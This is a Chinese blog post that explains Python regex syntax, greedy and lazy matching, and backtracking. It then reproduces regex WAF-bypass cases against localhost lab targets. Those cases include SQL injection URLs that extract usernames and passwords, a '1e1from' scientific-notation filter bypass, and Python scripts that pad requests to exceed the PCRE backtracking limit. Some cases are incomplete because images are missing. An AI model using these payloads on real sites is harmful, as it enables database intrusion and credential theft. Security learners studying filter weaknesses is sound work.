• 正则表达式,复现绕过案例


    目录

    正则表达式:

    需要转义的特殊字符:

    单词边界:

    贪婪匹配:

    惰性匹配:

    回溯:

    用一个简单的例子来解释一下贪婪匹配和惰性匹配!

     复现绕过案例:

    案例一: 

    绕过方法:

    案例二: 

    绕过方法:​编辑​编辑

     案例三:

    绕过方法: 

     案例四:

     绕过方法:

    ​编辑 案例五:

    绕过方法:


    正则表达式:

    概念:用特殊字符去匹配字符串中的内容

    """
    正则表达式的语法: . ,*,$,\d,\w,\W

    转义字符:
    \number: 引用分组的时候使用
    \A:只匹配字符串开始。不作为匹配的结果输出
    \b:匹配空字符串'',但只在单词开始或结尾的位置。不作为匹配的结果输出
    \B:匹配空字符串,但 不 能在词的开头或者结尾。
    \d:匹配任何Unicode十进制数
    [0-9]: 匹配数字0-9中任意数字
    [a-z]: 匹配a-z之间任意小写字母
    [A-Z]: 匹配A-Z之间任意大写字母
    \D: 匹配任何非十进制数字的字符
    \s: 匹配任何Unicode空白字符(包括 [ \t\n\r\f\v] ,还有很多其他字符.
        我们常说的空格
    \S: 匹配任何非空白字符。就是 \s 取非。除空格外任意字符
        如果设置了 ASCII 标志,就相当于 [^ \t\n\r\f\v] 。
    \w: 匹配Unicode词语的字符,包含了可以构成词语的绝大部分字符,
        也包括数字和下划线。Unicode: \w支持的范围:中文,[0-9][a-z][A-Z]_
    \W: \w取非


    .:  在默认模式,匹配除了换行的任意字符
    ^:  匹配字符串的开头
    $:  匹配字符串尾或者在字符串尾的换行符的前一个字符
    *:  对它前面的正则式匹配0到任意次重复, 尽量多的匹配字符串。
    +:  对它前面的正则式匹配1到任意次重复。 尽可能多的去匹配。
    ?:  对它前面的正则式匹配0到1次重复。尽可能多的去匹配
    +?,*?,??: 非贪婪模式的匹配,尽量少的字符将会被匹配
              +?: 匹配1次
              *?: 匹配0次
              ??: 匹配0次
    {m}: 对其之前的正则式指定匹配 m 个重复:重复m次
    {m,}: 最少匹配m个重复:最少重复m次
    {m,n}: 对正则式进行m到n次匹配,在m和n之间取尽量多
    {m,n}?:对正则式进行m到n次匹配, 在m和n之间取尽量少的
    转义: \ : 对字符进行转义:\\, \n,\t,
    不转义:r: 针对r后边的字符串:里边存在转义符不进行转义
    []:用于表示一个字符集合
       [abc]: 匹配a或者匹配b或者匹配c,只匹配一位
    |: A|B:匹配 A 或者 B
    (): 分组的概念:用()括起来的就是组,()不参加匹配
        (组合)
        匹配括号内的任意正则表达式,并标识出组合的开始和结尾。
        匹配完成后,组合的内容可以被获取.
        obj.group() == obj.group(0)
        obj.group(0): 匹配到字符串本身,和分组没有关系
        怎么去判断分组的数量:
           从正则表达式的左到右:去数左括号的个数
        怎么去判定分组的顺序:
           就是根据左括号的顺序:从1开始累加
        并可以在之后用 \number 转义序列进行再次匹配,
        两种用法:提取分组的内容,提取匹配到字符串中你想要部分内容
                可以使用\number这种方式去引用,去重复匹配
    (?:...):匹配在括号内的任何正则表达式,
            但该分组所匹配的子字符串不能在执行匹配后被获取
            不能在模式中被引用。不可以使用\number这种方式去引用
            
    (?P…): 命名组合:分组命名
    (?P=name): 对前边已定义的分组的引用
    (?=...): lookahead assertion: 正向预搜索, 不消耗内容
             (?=正则):他是只作为匹配的条件,不会作为结果输出
                      只作为(?=)前边表达式的限定条件
    (?!...):匹配 … 不符合的情况。 negative lookahead assertion
            他是只作为匹配的条件,不会作为结果输出
            只作为(?=)前边表达式的限定条件,判断后边不是(?!)中的内容
    (?<=…): positive lookbehind assertion:正向后视断定(反向预搜索)
            他是只作为匹配的条件,不会作为结果输出
            只作为(?<=)后边表达式的限定条件
    (?         他是只作为匹配的条件,不会作为结果输出
            只作为(?!=)后边表达式的限定条件,判断前边不是(? (?(id/name)yes-pattern|no-pattern):
            如果给定的 id(组号) 或 name(组名) 存在,将会尝试匹配 yes-pattern
            否则就尝试匹配 no-pattern
    """

    需要转义的特殊字符:

    $ ( ) * + . ? [ \ ^ {

    单词边界:

     \b`属于匹配位置的元字符,一般作占位作用,而不被捕获,同属于匹配位置的还有匹配行起始位`^`和行结束位`$

    贪婪匹配:

    属于贪婪模式的量词,也叫做匹配优先量词,包括:{m,n}{m,}?*+

    惰性匹配:

    在匹配优先量词后加上?,即变成属于惰性匹配的量词,也叫做忽略优先量词,包括:{m,n}?{m,}???*?+?

    回溯:

    当前前面分支/重复匹配成功后,没有多余的文本可被正则后半部分匹配时,会产生回溯

    用一个简单的例子来解释一下贪婪匹配和惰性匹配!

    贪婪 : /\d+\b/

    惰性 : /d+?\b/

    文本 : 1234a

    贪婪正则匹配 1234a 时的过程是这样的:

    1. \d+ 匹配得到 1234
    2. \b  却匹配失败(\b 是分词边界匹配,用来获取位置,而不是文本,上一节有讲到)
    4. 这个时候,\d+会尝试回吐一个字符,即匹配结果为 123 ,可\b还是匹配失败!
    5. 那就继续回吐,一直到 1,还是匹配失败,那么这个正则就整体匹配失败了
    6. 这个回吐匹配结果的过程就是回溯

    惰性正则匹配 1234a 时的过程是这样的:

    1. \d+? 首先匹配,结果是1 ,紧接着 \b 匹配失败
    2. 那就 \d+? 继续匹配,结果是 12 ,紧接着 \b 还是匹配失败
    3. \d+? 一直匹配到1234,紧接着的 \b 依然匹配失败
    4. 结果整个正则匹配不成功

     复现绕过案例:

    案例一: 

    select\b[\s\S]*\bfrom

     此时输入

    http://localhost/Less-1/?id=-1%E2%80%98%20union%20select%201,(select%20group_concat(username,0x3a,password),from%20users),3--+

    会出现

    绕过方法:

    在from前面输入科学计数法,SQL支持科学计数法

    http://localhost/Less-1/?id=-1%27%20union%20select%201,(select%20group_concat(username,0x3a,password),1e1from%20users),3--+

    http://localhost/Less-1/?id=-1%27%20union%20select%201,group_concat(username,0x3a,password),1e1from%20users--+20

    绕过成功

    案例二: 

    绕过方法:

    1. import requests
    2. files = {
    3. 'file': 'aaa + 'a' * 1000000
    4. }
    5. res = requests.post('http://127.0.0.1/index.php', data=files)
    6. print(res.headers)

     案例三:

    • .+?匹配到/

    • 因为非贪婪模式,所以.+?停止匹配,而由S匹配*

    • S匹配*失败,回溯,再由.+?匹配*

    • 因为非贪婪模式,所以.+?停止匹配,而由S匹配a

    • S匹配a失败,回溯,再由.+?匹配a

    • ...

    绕过方法: 

    1. import requests
    2. files = {
    3. 'id': "-1'" + 'union/*' + 'a' * 1000000 + '*/select 1,2,3#'
    4. }
    5. res = requests.post('http://127.0.0.1/Less-1/index.php', data=files)
    6. print(res.text)

     案例四:

     绕过方法:

    原理:

     案例五:

     与案例四不同的是在一开始就判断是不是数组,提交数组不能往下走

    绕过方法:

    1. import requests
    2. files = {
    3. 'greeting': 'Merry Christmas' + 'a' * 1000000
    4. }
    5. res = requests.post('http://127.0.0.1/demo4.php', data=files)
    6. print(res.text)

  • 相关阅读:
    【java8】11-自定义Spliterator
    linux启动停止mysql常见错误
    应对广告虚假流量,app广告变现该如何风控?
    深入理解python虚拟机:程序执行的载体——栈帧
    C++学习笔记
    软件测试面试题:您所熟悉的软件测试类型都有哪些?请试着分别比较这些不同的测试类型的区别与联系(如功能测试、性能测试……等等?)
    playwright 一些方法解决cloudflare防护页的问题
    MySQL高级语句
    helm部署gitlab-runner问题解决
    和用户相关的命令
  • 原文地址:https://blog.csdn.net/weixin_59280309/article/details/125881818